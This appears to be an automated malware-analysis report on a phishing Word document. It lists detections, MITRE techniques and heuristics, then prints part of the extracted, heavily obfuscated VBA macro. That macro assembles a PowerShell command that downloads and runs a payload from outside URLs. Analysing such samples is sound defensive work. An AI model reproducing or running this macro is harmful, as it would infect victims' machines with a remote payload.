MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature 'Img.Dropper.PhishingLure-6443153-0'. It contains VBA macros, including an AutoOpen macro, and a critical 'Shell()' call, indicating it's designed to execute arbitrary code. The large slack space in the OLE structure is also suspicious. The VBA script is heavily obfuscated, but the presence of the Shell() call strongly suggests it's intended to download and execute a secondary payload.
Heuristics 7
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ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 210,944 bytes but its declared streams total only 24,665 bytes — 186,279 bytes (88%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 81912 bytes |
SHA-256: 605ecd1bb76d93eefdbc3f30a6b5c77234d178610f5305bd55ef38309bffe465 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "GJwOFcGfqaH"
Function YQErrojjzZT()
zIMPzdYpw = UCase("PJTYRLdn" + "YcXiOMZHiEDV" + "EEqXzNm" + "BsJAsRftvkc" + "fBkhIVRmIljImO") + UCase("PhuMQAJ" + "kOdWvuOnUa" + "VCTJPdvzUQ" + "AOdMQLBX" + "wWiASiwW")
qOPpHaz = Mid("ihtrc9SlACE(rpa4l7rpa,[StRiwJi+wJinG][cHAr]92).rE'+'PlACE(rpa38QLbN", 8, 55)
uOCqBj = UCase("tCaGwHwn" + "lSUuwAaHwwm" + "JNkiYLiThL" + "CJJlqliP" + "mqlpJkhkNpYqOk") + UCase("pqbawUTwaGSl" + "PkVPinlScuVni" + "FrnWnYZvzJITiS" + "KjrzsVdUIHawRN" + "GnSaNEnkiMPTkL")
HBnhjzpc = UCase("tzMhRtBvYiiUA" + "HYNPsiiCmwOWw" + "TqliZHaSzT" + "kLUmWpqwhWcFOG" + "OrLQSuuccisDv") + UCase("OoYtSHXJQPGYYR" + "qlWYmsj" + "jACqisEd" + "vESiDLwwQFaw" + "uWcalzVf")
XvANrVWsz = UCase("jAURNqYuoZ" + "wOzUjTNLpQM" + "UJoGdnHXjqKN" + "pOLmOYzAmGw" + "stDPnRDUQzHZj") + UCase("GhBwGElqtEBZar" + "jiDpNluE" + "tYGtNqGm" + "USRwqzu" + "CAwNOrMH")
CGZtmSRBvrW = Mid("CCwFwlaa0padrpa+rpaom;3rpa+rlUH21J7wdiJr4kEUG4A0RiKPjEWr", 10, 19)
EbswmvlEGua = UCase("AfhptPRo" + "LlVcTwTnZ" + "ZVnIKaGfNHH" + "HGmDnAOS" + "hboOKnSDiHwX") + UCase("FnMWWOmjDhJEdO" + "PLSYHtsuztAmo" + "jAJkMBzrQdz" + "ziuiKjZcnTo" + "PCMsNcWcwH")
ASsaREQ = UCase("RDjWJMdtChzs" + "CzPWGZvlrDu" + "iuFuiht" + "jZDCjKGoEnSw" + "azAwrknMv") + UCase("zpPbSXzXAE" + "wduMpvS" + "hDlzrIwE" + "nwGalzDNQjoQFP" + "sIiTGlBpU")
mdpHzOvQC = UCase("RDDIJrdSl" + "PclimfzYM" + "vRmYSDKR" + "VtpoAQPbfCTSPs" + "zwEvwwE") + UCase("IfWzRfpG" + "MVPXZolOXDU" + "ttfZiaUwOT" + "QihJiQzwpwnGuc" + "XKThavknOlq")
NbJVisnz = Mid("JrUNOBY9Carpa+rpabcrpa+rpa in 3mybKSivKMorl773Ll", 10, 25)
amMzJ = UCase("OWOrYSV" + "CkDwfKirw" + "LiqcnTFiid" + "KlHlVWcoWsQSzC" + "OudTpOncdpO") + UCase("jvlposUszvMK" + "BCcjuMtZIELFK" + "kXIivGkttkCba" + "KfShSfnLKwi" + "UMaqakiEjUr")
uwFhcUzOmM = UCase("iEVHRsVzps" + "GzZGiaGnlzC" + "JfjsEfu" + "XnrPsUpVO" + "cqifMkBoGN") + UCase("wFcfALbk" + "RTuaGTGJOKlkZM" + "MZiSwrPZhJ" + "iPkrINkOHJ" + "EYtirawbXZsHTb")
jOwUlFtfzHc = UCase("NDJzVkUL" + "BWZOSqYahHQu" + "YuwZzcDHvGYBD" + "YoMQtaPKrjl" + "jbSSTsR") + UCase("fPAwmrHfFP" + "MPPzmUq" + "TdOCNnusco" + "njjiwJnQdBS" + "EciZoUbjzdVw")
ZKFoNHOwu = Mid("rPcESQ2tm+[CHAR]116),[CHAR]36 -rEPlACe'wJi',[CHAR]39-rEPlACe ([CHzl", 10, 57)
HMooWi = UCase("IoHBtNQjkrZW" + "YAKFLPU" + "ZSApdFl" + "pHRQbEw" + "FPinsInR") + UCase("vDXOnwD" + "bjVHMQIi" + "vjIGZTDDAvh" + "NQfiliBOmCLN" + "AVaztzaI")
FJIQvkjCd = UCase("QMnIszfqcbVcj" + "qwEMVAtKa" + "OGYBIjKKlrf" + "AHlCnsbANwHBlh" + "QzwzGlIumaiiw") + UCase("KrpmswwaS" + "AiZRRwWPb" + "tLntZLrNzcIKf" + "DFROsivqhkzX" + "qdnDOHIW")
qUhziXMV = UCase("Evqfzlijf" + "cDhfJqHz" + "iaMqOjvSpQA" + "wjFOKlXqTP" + "TJObnjp") + UCase("NUJMsrFbzCTp" + "iqfUcQzFk" + "ISXtjzEH" + "zjnAmWNXFJXn" + "amoSiHLPqbcLBt")
ijhlPjJAA = Mid("rJi+rp'+'a,rpa+rpahrpa+rpwJi+wJiattp:/rpa+rpa/karpetmurpa+rparrpa+rpaarpa+rpahrpa+rpa.nrpa+rpaet/hJ3ap/rpa+rpa,htrpa'+'+rpatp:rpa+rpa//piwJi+wJittmans.rpa'JS975pd2vj", 2, 154)
HFPfw = UCase("EwNjHjbqEqDpOM" + "HXsrDiCvCzAk" + "YtCWNEAV" + "LbMOqjG" + "WcQGwrORTU") + UCase("AKjGzPS" + "nhcJLLFL" + "fonWoidYT" + "bCoFujw" + "rfVMzXVTmu")
UYulHm = UCase("wYbuuhqjrp" + "zOtuvMVIskFOQw" + "VJIKplcsZhhctS" + "FwdpKwWvfPps" + "ksJKwwM") + UCase("YhAIUWUNNkcq" + "fIkbmAzN" + "uztaIjXXivG" + "hPdhpZB" + "RfNBuEkZjLzM")
THHLAzj = UCase("vWOpLEiK" + "WHLQjSPP" + "OAJBUAbtlqRAz" + "TFAMlfo" + "EmNznQWhu") + UCase("OLjjztBONRSrs" + "ZBrLfFdk" + "vvWoVML" + "EwYmlWkFGL" + "RWANuBZlYL")
ZRYiMw = Mid("s4GqbP2Ed4juaGFJK6sBPLplAcE ([chAr]114+[chAr]112+[chAr]97),[chAr]39 '+' -rEplAcE wJiVadwJi,[chAr]124) sKG. ( B8tshe'+'LLId[1]+B8tshElLID[13]+w'+'JiXwJi)') -rEPlACe ([CHAR]66+[CHAR]560V1Z6r2GAUjFB", 23, 163)
acYUWAdkRQM = UCase("umAOtOoqq" + "hkEzsHu" + "azfLOlsjDvwnSz" + "kmccSvLNraajQ" + "HsRoOXOnjYOWM") + UCase("ssDmjrTL" + "ibBPknloF" + "qwDjwEZiwDE" + "viAUzXnwZ" + "vcmNNIizzk")
FwbrWZ = UCase("oPdLood" + "jBCuNvT" + "nfHFZuFTdu" + "cnvamMDHJIai" + "cCiWOcmRablGQF") + UCase("uJJhtFAQkaP" + "KoKQNzLdWPjF" + "HQCMJUW" + "bNzztoqb" + "uvwucdQKYJFb")
MAzAO = UCase("QCQFkwmUQjuJkw" + "LQvaRKUGZYHaM" + "bKmjRPC" + "VEzBajkjTHij" + "tZvhiwwqhc"
... (truncated)
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